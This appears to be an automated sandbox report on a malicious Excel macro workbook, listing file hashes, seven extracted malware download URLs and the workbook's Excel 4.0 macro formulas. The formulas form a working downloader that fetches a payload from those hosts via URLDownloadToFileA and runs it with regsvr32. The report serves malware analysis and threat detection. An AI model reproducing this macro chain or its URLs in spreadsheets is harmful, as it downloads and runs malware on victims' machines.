General
-
Target
o_1003.xlsm
-
Size
51KB
-
MD5
739e1dd4f08be0ae086d6b451ec4dce2
-
SHA1
f528453f1d497ec15719f4709bb1e4cf3090e1df
-
SHA256
7b2579d888c3ae51d7938ace0faec10d2edcffbe0cb196d9362e37417ac12039
-
SHA512
7029728b769ddc1b1a9255020c8a21838bdd6a3c6704491de95ecd6527d61467134132a99b2b5f068722d48eefa6ae4cfaa1753974d3cd521a639ff3cb3388f2
-
SSDEEP
768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm
Malware Config
Extracted
http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/
http://henrysfreshroast.com/0Rq5zobAZB/
http://185.210.144.149/app/1BKfC3id6jsiH0MC/
http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/
http://45.76.178.115/sample_sticker/tihOPhaF1l0V/
http://abinsk.com/cgi-bin/fm63rXkG5Y/
http://academicinst.com/wp-includes/44ZVeVQBkeOG/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
o_1003.xlsm